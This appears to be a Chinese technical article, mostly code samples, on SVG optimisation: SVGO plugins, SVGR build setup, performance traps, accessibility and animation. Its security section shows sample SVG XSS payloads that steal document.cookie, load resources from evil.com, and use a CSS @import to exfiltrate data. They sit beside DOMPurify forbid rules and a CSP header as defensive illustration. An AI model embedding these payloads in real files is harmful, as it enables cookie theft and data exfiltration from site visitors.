SVG 优化：渲染模型、SVGO 插件架构、安全与性能陷阱

<svg width="200" height="100" viewBox="0 0 400 200">
  <!-- 绘图命令使用 400×200 坐标空间 -->
  <!-- 渲染到 200×100 像素视口 -->
  <!-- 缩放因子：双方向 0.5x -->
</svg>

<svg>
  <!-- 先渲染（在后面）-->
  <rect x="10" y="10" width="80" height="80" fill="blue"/>
  <!-- 后渲染（在上面）-->
  <circle cx="50" cy="50" r="40" fill="red"/>
</svg>

// svgo.config.js
module.exports = {
  plugins: [
    'preset-default',           // 内置默认值
    'removeDimensions',         // 移除 width/height，保留 viewBox
    {
      name: 'removeAttrs',      // 带参数的插件
      params: { attrs: '(data-.*)' }
    },
    {
      name: 'addAttributesToSVGElement',
      params: { attributes: [{ 'aria-hidden': 'true' }] }
    }
  ]
};

// custom-plugin.js
const myPlugin = {
  name: 'removeTestIds',
  fn: () => ({
    element: {
      enter: (node) => {
        if (node.attributes['data-testid']) {
          delete node.attributes['data-testid'];
        }
      }
    }
  })
};

// svgo.config.js
module.exports = {
  plugins: ['preset-default', myPlugin]
};

{
  name: 'convertPathData',
  params: {
    floatPrecision: 1,   // 激进：复杂曲线可能出现可见伪影
    floatPrecision: 2,   // 平衡：大多数图标安全
    floatPrecision: 3    // 保守：保持精度（文件较大）
  }
}

<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.cookie)</script>
</svg>

<svg xmlns="http://www.w3.org/2000/svg">
  <rect width="100" height="100" onload="alert('XSS')"/>
</svg>

<svg xmlns="http://www.w3.org/2000/svg">
  <image href="https://evil.com/track.gif"/>
  <use href="https://evil.com/payload.svg#exploit"/>
</svg>

<svg xmlns="http://www.w3.org/2000/svg">
  <style>
    @import url('https://evil.com/exfiltrate?data=...');
  </style>
</svg>

import DOMPurify from 'dompurify';

const cleanSVG = DOMPurify.sanitize(untrustedSVG, {
  USE_PROFILES: { svg: true, svgFilters: true },
  ADD_TAGS: ['use'],
  FORBID_TAGS: ['script', 'foreignObject'],
  FORBID_ATTR: ['onload', 'onclick', 'onerror', 'xlink:href']
});

Content-Security-Policy: default-src 'self'; script-src 'none'; style-src 'self'

<!-- 看起来无害的模糊迫使整个子树光栅化 -->
<g filter="url(#blur)">
  <path d="...巨大路径数据..."/>
</g>

<filter id="blur">
  <feGaussianBlur stdDeviation="3"/>
</filter>

<!-- 昂贵：500 点多边形作为裁剪路径 -->
<clipPath id="complex">
  <path d="M... (500 points)"/>
</clipPath>

<!-- 廉价：简单矩形裁剪 -->
<clipPath id="simple">
  <rect x="0" y="0" width="100" height="100"/>
</clipPath>

<!-- 这个"SVG"实际上是一个 2MB PNG 加上周围的矢量装饰 -->
<svg>
  <image href="data:image/png;base64,..." width="1000" height="1000"/>
  <text x="50" y="50">标签</text>
</svg>

// vite.config.js
import svgr from 'vite-plugin-svgr';

export default {
  plugins: [svgr({
    svgrOptions: {
      plugins: ['@svgr/plugin-svgo', '@svgr/plugin-jsx'],
      svgoConfig: {
        plugins: ['preset-default', 'removeDimensions']
      }
    }
  })]
};

// React 中使用
import Logo from './logo.svg?react';  // 作为 React 组件导入
import logoUrl from './logo.svg';     // 作为 URL 字符串导入

function App() {
  return <Logo className="logo" aria-label="公司标志" />;
}

// webpack.config.js
module.exports = {
  module: {
    rules: [{
      test: /\.svg$/i,
      issuer: /\.[jt]sx?$/,
      use: [{
        loader: '@svgr/webpack',
        options: {
          svgo: true,
          svgoConfig: { plugins: ['preset-default'] }
        }
      }]
    }]
  }
};

// next.config.js
module.exports = {
  webpack(config) {
    config.module.rules.push({
      test: /\.svg$/,
      use: ['@svgr/webpack']
    });
    return config;
  }
};

SVG 是装饰性的（不传达信息）？
├── 是 → <svg aria-hidden="true" focusable="false">
└── 否 → 它是独立的还是有相邻文本？
    ├── 独立 → <svg role="img" aria-labelledby="title">
    │            <title id="title">描述</title>
    └── 有文本 → <svg aria-hidden="true">（文本承载含义）

<svg role="img" aria-labelledby="chart-title chart-desc">
  <title id="chart-title">月度营收</title>
  <desc id="chart-desc">展示 2025 年 1 月到 12 月营收的柱状图</desc>
  
  <!-- 每个交互元素需要焦点处理 -->
  <g role="listitem" tabindex="0" aria-label="一月：¥45,000">
    <rect x="10" y="20" width="30" height="80"/>
  </g>
</svg>

@keyframes spin {
  from { transform: rotate(0deg); }
  to { transform: rotate(360deg); }
}

.spinner {
  animation: spin 1s linear infinite;
  transform-origin: center;
}

<path d="M10 80 Q 95 10 180 80">
  <animate
    attributeName="d"
    dur="2s"
    values="M10 80 Q 95 10 180 80; M10 80 Q 95 150 180 80; M10 80 Q 95 10 180 80"
    repeatCount="indefinite"
  />
</path>